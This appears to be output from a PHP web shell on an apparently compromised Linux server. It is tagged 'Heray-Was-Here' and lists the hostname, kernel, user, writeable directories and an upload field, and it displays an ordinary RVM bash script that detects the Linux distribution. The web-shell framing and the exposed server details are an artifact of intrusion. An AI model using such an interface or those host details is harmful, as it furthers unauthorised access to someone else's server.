Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/local/rvm/src/rvm/scripts/functions/detect/system_name/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/rvm/src/rvm/scripts/functions/detect/system_name/lsb_release
#!/usr/bin/env bash

__rvm_detect_system_from_lsb_release()
{
  local __system_name="$( awk -F'=' '$1=="DISTRIB_ID"{print $2}' /etc/lsb-release | head -n 1 | tr '[A-Z]' '[a-z]' | tr -d \" )"

  case $__system_name in
    deepin*)        _system_name="Deepin";;
    elementary*)    _system_name="Elementary";;
    kali*)          _system_name="Kali";;
    linuxmint*)     _system_name="Mint";;
    manjarolinux*)  _system_name="Manjaro";;
    neon*)          _system_name="Ubuntu";;
    solus*)         _system_name="Solus";;
    trisquel*)      _system_name="Trisquel";;
    ubuntu*)        _system_name="Ubuntu";;
    zorin*)         _system_name="Ubuntu";;
    *)              return 1
  esac

  _system_version="$( awk -F'=' '$1=="DISTRIB_RELEASE"{print $2}' /etc/lsb-release | head -n 1 )"
  _system_arch="$( uname -m )"

  return 0
}

Hry